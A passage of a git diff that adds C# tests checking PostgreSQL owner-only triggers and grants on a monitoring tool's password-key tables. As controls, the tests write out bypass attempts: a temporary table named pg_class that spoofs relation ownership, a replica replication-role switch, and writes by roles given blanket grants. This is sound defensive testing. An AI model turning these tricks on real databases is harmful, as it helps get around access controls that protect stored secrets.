+    public void Run_on_Windows_exits_non_zero_without_claiming_a_pass()
+    {
+        if (!OperatingSystem.IsWindows())
+        {
+            return;
+        }
+
+        using var output = new StringWriter();
+        using var error = new StringWriter();
+        Assert.Equal(1, DarlingPasswordKeySelfCheck.Run(new[] { VectorPath }, output, error));
+        Assert.DoesNotContain("passed", output.ToString(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void The_Linux_build_job_runs_the_verb_in_the_image_with_the_vector_mounted_read_only()
+    {
+        var workflow = ReadRepoFileLf(".github", "workflows", "build.yml");
+        var start = workflow.IndexOf("\n  darling-linux:", StringComparison.Ordinal);
+        Assert.True(start >= 0, "the darling-linux job was not found");
+        var next = workflow.IndexOf("\n  darling-", start + 10, StringComparison.Ordinal);
+        var job = next < 0 ? workflow[start..] : workflow[start..next];
+
+        var step = job.IndexOf("--self-check-password-key", StringComparison.Ordinal);
+        Assert.True(step >= 0, "the darling-linux job does not run --self-check-password-key");
+        var window = job[Math.Max(0, step - 900)..Math.Min(job.Length, step + 300)];
+        Assert.Contains("docker run", window, StringComparison.Ordinal);
+        Assert.Contains("linux-self-check-vector.json", window, StringComparison.Ordinal);
+        Assert.Contains(":ro", window, StringComparison.Ordinal);
+        Assert.Contains("performancemonitor-darling:pr", window, StringComparison.Ordinal);
+        Assert.DoesNotContain("continue-on-error", window, StringComparison.Ordinal);
+        Assert.DoesNotContain("|| true", window, StringComparison.Ordinal);
+    }
+
+    private static JsonObject Vector() => JsonNode.Parse(File.ReadAllText(VectorPath))!.AsObject();
+
+    private string Write(JsonObject vector)
+    {
+        var path = Path.Combine(_scratch, Guid.NewGuid().ToString("N") + ".json");
+        File.WriteAllText(path, vector.ToJsonString(new JsonSerializerOptions { WriteIndented = true }));
+        return path;
+    }
+}
diff --git a/Darling/Darling.Tests/PasswordKeyTablesLiveTests.cs b/Darling/Darling.Tests/PasswordKeyTablesLiveTests.cs
new file mode 100644
index 0000000000..231c55d590
--- /dev/null
+++ b/Darling/Darling.Tests/PasswordKeyTablesLiveTests.cs
@@ -0,0 +1,542 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The live half of the V165 pins (#5366), over a scratch store provisioned by the product's own batch: the owner-only
+/// trigger on each of the four tables, with and without grants, the temporary-table lookalike a caller can create, the
+/// unique <c>current</c> key, the one <c>pending</c> marker row and the two reads. The roles carry fixed cluster-wide
+/// names, so a cluster that already has them skips these facts (the same rule the security-split facts follow).
+/// </summary>
+[Collection("pg-cluster-roles")]
+public sealed class PasswordKeyTablesLiveTests
+{
+    /// <summary>One statement per table and verb; each statement reaches the row trigger (or the TRUNCATE trigger) of its table.</summary>
+    private static readonly Dictionary<string, string[]> Writes = new()
+    {
+        ["config.password_key"] =
+        [
+            "INSERT INTO config.password_key (key_id, public_key, algorithm, state, replaced_reason, replaced_at) VALUES ('afb6cecb558a0858', decode(repeat('01', 400), 'hex'), 'RSA3072-OAEP-SHA256/A256GCM', 'replaced', 'reset', now() AT TIME ZONE 'UTC')",
+            "UPDATE config.password_key SET created_at = created_at",
+            "DELETE FROM config.password_key",
+            "TRUNCATE config.password_key",
+        ],
+        ["config.password_key_service"] =
+        [
+            "INSERT INTO config.password_key_service (service_host, key_id, state, updated_at) VALUES ('example-02', NULL, 'ok', now() AT TIME ZONE 'UTC')",
+            "UPDATE config.password_key_service SET note = 'x'",
+            "DELETE FROM config.password_key_service",
+            "TRUNCATE config.password_key_service",
+        ],
+        ["config.legacy_secret_pin"] =
+        [
+            "INSERT INTO config.legacy_secret_pin (server_id, slot, value_sha256, binding_sha256) VALUES (2, 'server', '\\x01'::bytea, '\\x02'::bytea)",
+            "UPDATE config.legacy_secret_pin SET slot = 'smtp'",
+            "DELETE FROM config.legacy_secret_pin",
+            "TRUNCATE config.legacy_secret_pin",
+        ],
+        ["config.legacy_secret_pin_marker"] =
+        [
+            "INSERT INTO config.legacy_secret_pin_marker (id, state) VALUES (2, 'done')",
+            "UPDATE config.legacy_secret_pin_marker SET state = 'done'",
+            "DELETE FROM config.legacy_secret_pin_marker",
+            "TRUNCATE config.legacy_secret_pin_marker",
+        ],
+        ["config.legacy_secret_pin_candidate"] =
+        [
+            "INSERT INTO config.legacy_secret_pin_candidate (server_id, slot, value_sha256) VALUES (2, 'server', '\\x01'::bytea)",
+            "UPDATE config.legacy_secret_pin_candidate SET slot = 'smtp'",
+            "DELETE FROM config.legacy_secret_pin_candidate",
+            "TRUNCATE config.legacy_secret_pin_candidate",
+        ],
+    };
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task TheOwnerWrites_AndEveryOtherRoleIsRefused_WithOrWithoutGrants()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the password key table live pins (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var owner = new NpgsqlConnection(scratch.ConnectionString);
+        await owner.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(owner, ct);
+        Assert.SkipWhen(
+            await ScalarAsync(owner, "SELECT EXISTS (SELECT 1 FROM pg_roles WHERE rolname IN ('admin', 'viewer', 'mcp'))", ct) is true,
+            "A cluster-wide admin/viewer/mcp role already exists on this cluster; the provisioning batch would adopt it.");
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(owner, DarlingManagedRoles.BuildProvisioningSql(
+                ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp,
+                15, PasswordReassert.All, ProvisioningTarget.ComposeStore(OwnerRoleOf(owner), scratch.DatabaseName)), ct);
+
+            /* One row per table, so an UPDATE or DELETE reaches its row trigger. */
+            await SeedRowsAsync(owner, ct);
+
+            await using var admin = await OpenAsAsync(scratch, "admin", ProvisioningTestSecrets.AdminPassword, ct);
+
+            /* After the full provisioning batch the second layer has taken admin's write privileges away: refused. */
+            foreach (var statement in Writes.Values.SelectMany(v => v))
+            {
+                Assert.Equal("42501", await SqlStateOfAsync(admin, statement, ct));
+            }
+
+            /* The blanket grant re-run, as a later start or a re-run of the script does, and TRUNCATE on top. The privileges
+               check now passes, so only the trigger stands in the way. */
+            await ExecAsync(owner, "GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA config TO admin; GRANT TRUNCATE ON ALL TABLES IN SCHEMA config TO admin;", ct);
+            foreach (var statement in Writes.Values.SelectMany(v => v))
+            {
+                await AssertOwnerOnlyRefusalAsync(admin, statement, ct);
+            }
+
+            /* The same for the other two roles holding every privilege. */
+            await ExecAsync(owner,
+                "GRANT SELECT, INSERT, UPDATE, DELETE, TRUNCATE ON config.password_key, config.password_key_service, config.legacy_secret_pin, config.legacy_secret_pin_marker, config.legacy_secret_pin_candidate TO viewer, mcp;", ct);
+            await using var viewer = await OpenAsAsync(scratch, "viewer", ProvisioningTestSecrets.ViewerPassword, ct);
+            await using var mcp = await OpenAsAsync(scratch, "mcp", ProvisioningTestSecrets.McpPassword, ct);
+            foreach (var statement in Writes.Values.SelectMany(v => v))
+            {
+                await AssertOwnerOnlyRefusalAsync(viewer, statement, ct);
+                await AssertOwnerOnlyRefusalAsync(mcp, statement, ct);
+            }
+
+            /* Nothing the refused writes tried changed a row. */
+            Assert.Equal(1L, await ScalarAsync(owner, "SELECT count(*) FROM config.password_key", ct));
+            Assert.Equal(1L, await ScalarAsync(owner, "SELECT count(*) FROM config.password_key_service", ct));
+            Assert.Equal(1L, await ScalarAsync(owner, "SELECT count(*) FROM config.legacy_secret_pin", ct));
+            Assert.Equal("pending", await ScalarAsync(owner, "SELECT state FROM config.legacy_secret_pin_marker", ct));
+
+            /* The owner's own writes pass, whatever the other roles hold. */
+            await ExecAsync(owner, "UPDATE config.password_key SET created_at = created_at", ct);
+            await ExecAsync(owner, "UPDATE config.legacy_secret_pin_marker SET state = 'done'", ct);
+            await ExecAsync(owner, "UPDATE config.legacy_secret_pin_marker SET state = 'pending'", ct);
+            await ExecAsync(owner, "INSERT INTO config.password_key (key_id, public_key, algorithm, state, replaced_at, replaced_reason) VALUES ('9e7be4ce0f2388a3', decode(repeat('03', 400), 'hex'), 'RSA3072-OAEP-SHA256/A256GCM', 'replaced', now() AT TIME ZONE 'UTC', 'reset')", ct);
+            await ExecAsync(owner, "DELETE FROM config.password_key WHERE key_id = '9e7be4ce0f2388a3'", ct);
+            await ExecAsync(owner, "TRUNCATE config.password_key_service", ct);
+            Assert.Equal(0L, await ScalarAsync(owner, "SELECT count(*) FROM config.password_key_service", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+                await ExecAsync(cleanup,
+                    "DROP OWNED BY admin, viewer, mcp; DROP ROLE IF EXISTS admin; DROP ROLE IF EXISTS viewer; DROP ROLE IF EXISTS mcp", cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task ACallerWhoCreatesATemporaryTableNamedLikeACatalogRelation_IsStillRefused_OnEveryTable()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the password key table live pins (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var owner = new NpgsqlConnection(scratch.ConnectionString);
+        await owner.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(owner, ct);
+        Assert.SkipWhen(
+            await ScalarAsync(owner, "SELECT EXISTS (SELECT 1 FROM pg_roles WHERE rolname IN ('admin', 'viewer', 'mcp'))", ct) is true,
+            "A cluster-wide admin/viewer/mcp role already exists on this cluster; the provisioning batch would adopt it.");
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(owner, DarlingManagedRoles.BuildProvisioningSql(
+                ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp,
+                15, PasswordReassert.All, ProvisioningTarget.ComposeStore(OwnerRoleOf(owner), scratch.DatabaseName)), ct);
+            await SeedRowsAsync(owner, ct);
+
+            /* Roles here can create temporary tables. Give it every write privilege so the trigger is the only
+               check left, then let it create a temporary table that is shaped like pg_class and names the viewer as the owner of
+               every relation. */
+            await ExecAsync(owner,
+                "GRANT SELECT, INSERT, UPDATE, DELETE, TRUNCATE ON config.password_key, config.password_key_service, config.legacy_secret_pin, config.legacy_secret_pin_marker, config.legacy_secret_pin_candidate TO viewer;", ct);
+            await using var viewer = await OpenAsAsync(scratch, "viewer", ProvisioningTestSecrets.ViewerPassword, ct);
+            await ExecAsync(viewer,
+                "CREATE TEMP TABLE pg_class (oid oid, relowner oid); " +
+                "INSERT INTO pg_temp.pg_class SELECT c.oid, (SELECT oid FROM pg_catalog.pg_roles WHERE rolname = 'viewer') FROM pg_catalog.pg_class AS c;", ct);
+
+            foreach (var statement in Writes.Values.SelectMany(v => v))
+            {
+                await AssertOwnerOnlyRefusalAsync(viewer, statement, ct);
+            }
+
+            /* The control. PostgreSQL searches a session's temporary relations first unless pg_temp is listed last in the search
+               path, so an unqualified catalog name under a path without pg_temp last finds the temporary table. The same lookup
+               written that way is passed by the same temporary table, which shows the facts above can fail. */
+            await ExecAsync(owner, @"
+CREATE TABLE public.temp_name_control (n integer);
+CREATE FUNCTION public.temp_name_control_guard() RETURNS trigger LANGUAGE plpgsql SET search_path = pg_catalog AS $fn$
+BEGIN
+    IF NOT pg_has_role(session_user, (SELECT c.relowner FROM pg_class AS c WHERE c.oid = TG_RELID), 'USAGE') THEN
+        RAISE EXCEPTION 'refused' USING ERRCODE = 'PW010';
+    END IF;
+    RETURN NEW;
+END;
+$fn$;
+CREATE TRIGGER temp_name_control_trg BEFORE INSERT ON public.temp_name_control FOR EACH ROW EXECUTE FUNCTION public.temp_name_control_guard();
+GRANT INSERT ON public.temp_name_control TO viewer;", ct);
+            Assert.Null(await SqlStateOfAsync(viewer, "INSERT INTO public.temp_name_control VALUES (1)", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+                await ExecAsync(cleanup,
+                    "DROP OWNED BY admin, viewer, mcp; DROP ROLE IF EXISTS admin; DROP ROLE IF EXISTS viewer; DROP ROLE IF EXISTS mcp", cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task ASecondCurrentKeyFails_AndTheReadsReturnTheCurrentKeyAndTheNewestServiceRow()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the password key table live pins (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            Assert.Null(await PasswordKeyTables.ReadCurrentAsync(connection, ct));
+            Assert.Null(await PasswordKeyTables.ReadNewestServiceStateAsync(connection, ct));
+
+            await ExecAsync(connection, "INSERT INTO config.password_key (key_id, public_key, algorithm, state) VALUES ('afb6cecb558a0858', decode(repeat('01', 400), 'hex'), 'RSA3072-OAEP-SHA256/A256GCM', 'current')", ct);
+            Assert.Equal("23505", await SqlStateOfAsync(connection,
+                "INSERT INTO config.password_key (key_id, public_key, algorithm, state) VALUES ('9e7be4ce0f2388a3', decode(repeat('03', 400), 'hex'), 'RSA3072-OAEP-SHA256/A256GCM', 'current')", ct));
+            Assert.Equal("23514", await SqlStateOfAsync(connection,
+                "INSERT INTO config.password_key (key_id, public_key, algorithm, state, replaced_reason, replaced_at) VALUES ('NOT-A-KEY-ID', decode(repeat('03', 400), 'hex'), 'RSA3072-OAEP-SHA256/A256GCM', 'replaced', 'reset', now() AT TIME ZONE 'UTC')", ct));
+
+            /* The row checks: the one algorithm name, a public key of a plausible size, and the replaced columns that go with the state. */
+            const string Columns = "INSERT INTO config.password_key (key_id, public_key, algorithm, state, replaced_reason, replaced_at) VALUES ";
+            Assert.Equal("23514", await SqlStateOfAsync(connection, Columns + "(left(encode(sha256(decode(repeat('05', 400), 'hex')), 'hex'), 16), decode(repeat('05', 400), 'hex'), 'RSA-OAEP-SHA256', 'replaced', NULL, now() AT TIME ZONE 'UTC')", ct));
+            Assert.Equal("23514", await SqlStateOfAsync(connection, Columns + "(left(encode(sha256(decode(repeat('05', 255), 'hex')), 'hex'), 16), decode(repeat('05', 255), 'hex'), 'RSA3072-OAEP-SHA256/A256GCM', 'replaced', NULL, now() AT TIME ZONE 'UTC')", ct));
+            Assert.Equal("23514", await SqlStateOfAsync(connection, Columns + "(left(encode(sha256(decode(repeat('05', 2049), 'hex')), 'hex'), 16), decode(repeat('05', 2049), 'hex'), 'RSA3072-OAEP-SHA256/A256GCM', 'replaced', NULL, now() AT TIME ZONE 'UTC')", ct));
+            Assert.Equal("23514", await SqlStateOfAsync(connection, Columns + "(left(encode(sha256(decode(repeat('05', 400), 'hex')), 'hex'), 16), decode(repeat('05', 400), 'hex'), 'RSA3072-OAEP-SHA256/A256GCM', 'replaced', NULL, NULL)", ct));
+            Assert.Equal("23514", await SqlStateOfAsync(connection, Columns + "('cccccccccccccccc', decode(repeat('05', 256), 'hex'), 'RSA3072-OAEP-SHA256/A256GCM', 'replaced', 'reset', now() AT TIME ZONE 'UTC')", ct)); // an id that is not the key's own
+            Assert.Equal("23514", await SqlStateOfAsync(connection, Columns + "(left(encode(sha256(decode(repeat('05', 256), 'hex')), 'hex'), 16), decode(repeat('05', 256), 'hex'), 'RSA3072-OAEP-SHA256/A256GCM', 'replaced', NULL, now() AT TIME ZONE 'UTC')", ct)); // replaced with no reason
+            Assert.Equal("23514", await SqlStateOfAsync(connection, "UPDATE config.password_key SET replaced_at = now() AT TIME ZONE 'UTC' WHERE state = 'current'", ct));
+            Assert.Equal("23514", await SqlStateOfAsync(connection, "UPDATE config.password_key SET replaced_reason = 'reset' WHERE state = 'current'", ct));
+            Assert.Null(await SqlStateOfAsync(connection, Columns + "(left(encode(sha256(decode(repeat('05', 256), 'hex')), 'hex'), 16), decode(repeat('05', 256), 'hex'), 'RSA3072-OAEP-SHA256/A256GCM', 'replaced', 'reset', now() AT TIME ZONE 'UTC')", ct));
+            Assert.Null(await SqlStateOfAsync(connection, "DELETE FROM config.password_key WHERE key_id = 'd85944090257d11d'", ct));
+
+            /* Replacing the current key frees the slot for the next one. */
+            await ExecAsync(connection, "UPDATE config.password_key SET state = 'replaced', replaced_reason = 'rotated', replaced_at = now() AT TIME ZONE 'UTC' WHERE key_id = 'afb6cecb558a0858'", ct);
+            await ExecAsync(connection, "INSERT INTO config.password_key (key_id, public_key, algorithm, state) VALUES ('9e7be4ce0f2388a3', decode(repeat('03', 400), 'hex'), 'RSA3072-OAEP-SHA256/A256GCM', 'current')", ct);
+
+            var key = await PasswordKeyTables.ReadCurrentAsync(connection, ct);
+            Assert.NotNull(key);
+            Assert.Equal("9e7be4ce0f2388a3", key.KeyId);
+            Assert.Equal(Enumerable.Repeat((byte)0x03, 400).ToArray(), key.Spki);
+            Assert.Equal("RSA3072-OAEP-SHA256/A256GCM", key.Algorithm);
+
+            await ExecAsync(connection, "INSERT INTO config.password_key_service (service_host, key_id, state, note, updated_at) VALUES ('example-01', 'afb6cecb558a0858', 'loading', NULL, '2026-01-05 10:00:00')", ct);
+            await ExecAsync(connection, "INSERT INTO config.password_key_service (service_host, key_id, state, note, updated_at) VALUES ('example-02', NULL, 'mismatch', 'a note', '2026-01-05 11:00:00')", ct);
+            Assert.Equal("23514", await SqlStateOfAsync(connection,
+                "INSERT INTO config.password_key_service (service_host, state, updated_at) VALUES ('example-03', 'unknown', now() AT TIME ZONE 'UTC')", ct));
+
+            var state = await PasswordKeyTables.ReadNewestServiceStateAsync(connection, ct);
+            Assert.NotNull(state);
+            Assert.Equal("example-02", state.ServiceHost);
+            Assert.Null(state.KeyId);
+            Assert.Equal("mismatch", state.State);
+            Assert.Equal("a note", state.Note);
+            Assert.Equal(new DateTime(2026, 1, 5, 11, 0, 0, DateTimeKind.Utc), state.UpdatedAtUtc);
+            Assert.Equal(DateTimeKind.Utc, state.UpdatedAtUtc.Kind);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    private static readonly string[] KeyTables =
+    [
+        "config.password_key",
+        "config.password_key_service",
+        "config.legacy_secret_pin",
+        "config.legacy_secret_pin_marker",
+        "config.legacy_secret_pin_candidate",
+    ];
+
+    private static ProvisioningTarget TargetFor(bool managed, NpgsqlConnection owner, ScratchPostgres scratch) =>
+        managed ? ProvisioningTarget.Managed : ProvisioningTarget.ComposeStore(OwnerRoleOf(owner), scratch.DatabaseName);
+
+    private static string ProvisioningBatch(bool managed, NpgsqlConnection owner, ScratchPostgres scratch)
+    {
+        var batch = DarlingManagedRoles.BuildProvisioningSql(
+            ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp,
+            15, PasswordReassert.All, TargetFor(managed, owner, scratch));
+        if (!managed)
+        {
+            return batch;
+        }
+
+        /* #5618: the managed target names the cluster's shared "darling" database in its three database-level
+           statements (REVOKE ALL ... FROM PUBLIC, and the CONNECT grants to admin, viewer and mcp). Database
+           privileges live in pg_database, which every database in the cluster shares, so running the batch inside a
+           scratch database still took CONNECT away from PUBLIC on "darling" and never gave it back: the next test
+           that opened a connection through PUBLIC's CONNECT failed with 42501. The managed shape stays managed (its
+           owner, its role marker, the PUBLIC revoke), pointed at this test's own database, the way ViewerGrantReplay
+           points its replays. */
+        var shared = "ON DATABASE " + ProvisioningTarget.Managed.DatabaseIdentifier + " ";
+        var scratchDatabase = "ON DATABASE \"" + scratch.DatabaseName.Replace("\"", "\"\"", StringComparison.Ordinal) + "\" ";
+        Assert.Contains("REVOKE ALL " + shared + "FROM PUBLIC;", batch, StringComparison.Ordinal);
+        batch = batch.Replace(shared, scratchDatabase, StringComparison.Ordinal);
+        Assert.DoesNotContain(shared, batch, StringComparison.Ordinal);
+        return batch;
+    }
+
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task Provisioning_LeavesNoReadOfThePinTables_AndNoTriggerOrReferencesGrant_AfterAGrantAllRerun(bool managed)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the password key table live pins (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var owner = new NpgsqlConnection(scratch.ConnectionString);
+        await owner.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(owner, ct);
+        Assert.SkipWhen(
+            await ScalarAsync(owner, "SELECT EXISTS (SELECT 1 FROM pg_roles WHERE rolname IN ('admin', 'viewer', 'mcp'))", ct) is true,
+            "A cluster-wide admin/viewer/mcp role already exists on this cluster; the provisioning batch would adopt it.");
+        Assert.SkipWhen(
+            managed && OwnerRoleOf(owner) != DarlingManagedPostgres.UserName,
+            "The managed shape names the owner 'darling', which this connection is not.");
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(owner, ProvisioningBatch(managed, owner, scratch), ct);
+            await SeedRowsAsync(owner, ct);
+
+            /* #5618: the managed batch's PUBLIC revoke, proven on the scratch database it now names (the compose shape
+               leaves PUBLIC's CONNECT alone). The shared "darling" database is not this test's to change. */
+            Assert.Equal((object)!managed, await ScalarAsync(owner, "SELECT has_database_privilege('public', current_database(), 'CONNECT')", ct));
+
+            /* The pin tables are read by the store owner only; the key and service-state tables are readable. */
+            foreach (var (role, password) in new[]
+                     {
+                         ("admin", ProvisioningTestSecrets.AdminPassword),
+                         ("viewer", ProvisioningTestSecrets.ViewerPassword),
+                         ("mcp", ProvisioningTestSecrets.McpPassword),
+                     })
+            {
+                await using var connection = await OpenAsAsync(scratch, role, password, ct);
+                Assert.Equal("42501", await SqlStateOfAsync(connection, "SELECT count(*) FROM config.legacy_secret_pin", ct));
+                Assert.Equal("42501", await SqlStateOfAsync(connection, "SELECT count(*) FROM config.legacy_secret_pin_marker", ct));
+                Assert.Equal("42501", await SqlStateOfAsync(connection, "SELECT count(*) FROM config.legacy_secret_pin_candidate", ct));
+
+                /* The key and service-state tables are readable by admin only (the desktop Viewer reads them as admin). */
+                var expected = role == "admin" ? null : "42501";
+                Assert.Equal(expected, await SqlStateOfAsync(connection, "SELECT count(*) FROM config.password_key", ct));
+                Assert.Equal(expected, await SqlStateOfAsync(connection, "SELECT count(*) FROM config.password_key_service", ct));
+            }
+
+            /* Row security with no policy: even a role handed SELECT on a pin table explicitly counts no rows. */
+            await ExecAsync(owner, "GRANT SELECT ON config.legacy_secret_pin, config.legacy_secret_pin_marker, config.legacy_secret_pin_candidate TO viewer", ct);
+            Assert.True(Convert.ToInt64(await ScalarAsync(owner, "SELECT count(*) FROM config.legacy_secret_pin", ct)) > 0, "the seed put a pin row in");
+            Assert.Equal(1L, await ScalarAsync(owner, "SELECT count(*) FROM config.legacy_secret_pin_marker", ct));
+            Assert.Equal(1L, await ScalarAsync(owner, "SELECT count(*) FROM config.legacy_secret_pin_candidate", ct));
+            await using (var viewerConnection = await OpenAsAsync(scratch, "viewer", ProvisioningTestSecrets.ViewerPassword, ct))
+            {
+                Assert.Equal(0L, await ScalarAsync(viewerConnection, "SELECT count(*) FROM config.legacy_secret_pin", ct));
+                Assert.Equal(0L, await ScalarAsync(viewerConnection, "SELECT count(*) FROM config.legacy_secret_pin_marker", ct));
+                Assert.Equal(0L, await ScalarAsync(viewerConnection, "SELECT count(*) FROM config.legacy_secret_pin_candidate", ct));
+            }
+
+            /* A blanket grant to the three roles, as a later grant-all would make. Control: before the batch runs again, admin can
+               add its own trigger to every table, so what happens to it below is the batch's doing. The triggers are LEFT in place. */
+            await ExecAsync(owner, "GRANT ALL ON ALL TABLES IN SCHEMA config TO admin, viewer, mcp;", ct);
+            await using var admin = await OpenAsAsync(scratch, "admin", ProvisioningTestSecrets.AdminPassword, ct);
+            for (var i = 0; i < KeyTables.Length; i++)
+            {
+                Assert.Null(await SqlStateOfAsync(admin, CreateTriggerSql(KeyTables[i], i), ct));
+            }
+
+            /* A foreign key onto a key table, made while the owner held the privilege. */
+            await ExecAsync(owner, "CREATE TABLE config.temp_name_control_fk (k text REFERENCES config.password_key (key_id))", ct);
+
+            var notices = new List<string>();
+            void OnNotice(object? sender, NpgsqlNoticeEventArgs e) => notices.Add(e.Notice.MessageText);
+            owner.Notice += OnNotice;
+            await ExecAsync(owner, ProvisioningBatch(managed, owner, scratch), ct);
+            owner.Notice -= OnNotice;
+
+            Assert.Equal(KeyTables.Length, notices.Count(n => n.Contains("temp_name_control_trg_", StringComparison.Ordinal)));
+            Assert.Contains(notices, n => n.Contains("temp_name_control_fk", StringComparison.Ordinal));
+            Assert.Equal(0L, await ScalarAsync(owner, "SELECT count(*) FROM pg_catalog.pg_trigger WHERE tgname LIKE 'temp_name_control_trg_%'", ct));
+            Assert.Equal(0L, await ScalarAsync(owner, "SELECT count(*) FROM pg_catalog.pg_constraint WHERE contype = 'f' AND conrelid = 'config.temp_name_control_fk'::regclass", ct));
+            Assert.Equal(10L, await ScalarAsync(owner,
+                "SELECT count(*) FROM pg_catalog.pg_trigger WHERE NOT tgisinternal AND tgrelid = ANY (ARRAY['config.password_key','config.password_key_service','config.legacy_secret_pin','config.legacy_secret_pin_marker','config.legacy_secret_pin_candidate']::regclass[])", ct));
+            await ExecAsync(owner, "DROP TABLE config.temp_name_control_fk", ct);
+
+            for (var i = 0; i < KeyTables.Length; i++)
+            {
+                /* No TRIGGER privilege any more: refused for the missing privilege, not by the owner-only trigger. */
+                Assert.Equal("42501", await SqlStateOfAsync(admin, CreateTriggerSql(KeyTables[i], i), ct));
+                foreach (var role in new[] { "admin", "viewer", "mcp" })
+                {
+                    Assert.Equal(false, await ScalarAsync(owner, $"SELECT has_table_privilege('{role}', '{KeyTables[i]}', 'INSERT') OR has_table_privilege('{role}', '{KeyTables[i]}', 'UPDATE') OR has_table_privilege('{role}', '{KeyTables[i]}', 'DELETE') OR has_table_privilege('{role}', '{KeyTables[i]}', 'TRUNCATE') OR has_table_privilege('{role}', '{KeyTables[i]}', 'TRIGGER') OR has_table_privilege('{role}', '{KeyTables[i]}', 'REFERENCES')", ct));
+                }
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+                await ExecAsync(cleanup,
+                    "DROP OWNED BY admin, viewer, mcp; DROP ROLE IF EXISTS admin; DROP ROLE IF EXISTS viewer; DROP ROLE IF EXISTS mcp", cleanupCt));
+        }
+    }
+
+    private static string CreateTriggerSql(string table, int index) =>
+        $"CREATE TRIGGER temp_name_control_trg_{index} BEFORE UPDATE ON {table} FOR EACH ROW EXECUTE FUNCTION pg_catalog.suppress_redundant_updates_trigger()";
+
+    [Fact]
+    public async Task AWriteUnderReplicaReplicationRole_IsStillRefused_ForANonOwner_AndANonOwnerNeedsAGrantToSetIt()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the password key table live pins (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var owner = new NpgsqlConnection(scratch.ConnectionString);
+        await owner.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(owner, ct);
+        Assert.SkipWhen(
+            await ScalarAsync(owner, "SELECT EXISTS (SELECT 1 FROM pg_roles WHERE rolname IN ('admin', 'viewer', 'mcp'))", ct) is true,
+            "A cluster-wide admin/viewer/mcp role already exists on this cluster; the provisioning batch would adopt it.");
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(owner, ProvisioningBatch(false, owner, scratch), ct);
+            await SeedRowsAsync(owner, ct);
+            await using var viewer = await OpenAsAsync(scratch, "viewer", ProvisioningTestSecrets.ViewerPassword, ct);
+
+            /* Without a grant the role cannot set it at all. */
+            Assert.Equal("42501", await SqlStateOfAsync(viewer, "SET session_replication_role = replica", ct));
+
+            /* With the setting granted and every write privilege, the triggers still fire: they are enabled always. */
+            await ExecAsync(owner, "GRANT SET ON PARAMETER session_replication_role TO viewer;", ct);
+            await ExecAsync(owner,
+                "GRANT SELECT, INSERT, UPDATE, DELETE, TRUNCATE ON config.password_key, config.password_key_service, config.legacy_secret_pin, config.legacy_secret_pin_marker, config.legacy_secret_pin_candidate TO viewer;", ct);
+            await ExecAsync(viewer, "SET session_replication_role = replica", ct);
+            Assert.Equal("replica", await ScalarAsync(viewer, "SHOW session_replication_role", ct));
+            foreach (var statement in Writes.Values.SelectMany(v => v))
+            {
+                await AssertOwnerOnlyRefusalAsync(viewer, statement, ct);
+            }
+
+            Assert.Equal(1L, await ScalarAsync(owner, "SELECT count(*) FROM config.password_key", ct));
